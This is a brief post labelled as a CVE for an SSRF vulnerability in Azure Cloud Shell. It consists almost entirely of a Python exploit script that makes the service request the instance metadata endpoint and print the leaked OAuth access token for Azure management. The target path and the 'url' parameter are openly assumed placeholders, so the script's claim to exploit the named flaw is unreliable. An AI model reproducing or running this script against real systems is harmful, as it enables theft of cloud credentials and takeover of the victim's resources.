CVE-2026-32169 Azure Cloud Shell SSRF漏洞

import requests # Target URL of the vulnerable Azure Cloud Shell endpoint target_url = "https://shell.azure.com/api/vulnerable_endpoint" # Internal metadata endpoint to access (IMDS) # Attacker aims to retrieve access tokens via SSRF internal_payload = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Headers required for the IMDS request headers = { "Metadata": "true" } # Construct the malicious request exploiting SSRF # Assuming the vulnerable endpoint takes a 'url' parameter exploit_data = { "url": internal_payload } try: # Send the SSRF request response = requests.post(target_url, data=exploit_data, headers=headers) # Check if the exploit was successful if response.status_code == 200: print("SSRF Exploit Successful!") print("Leaked Metadata/Token:") print(response.text) else: print(f"Exploit failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")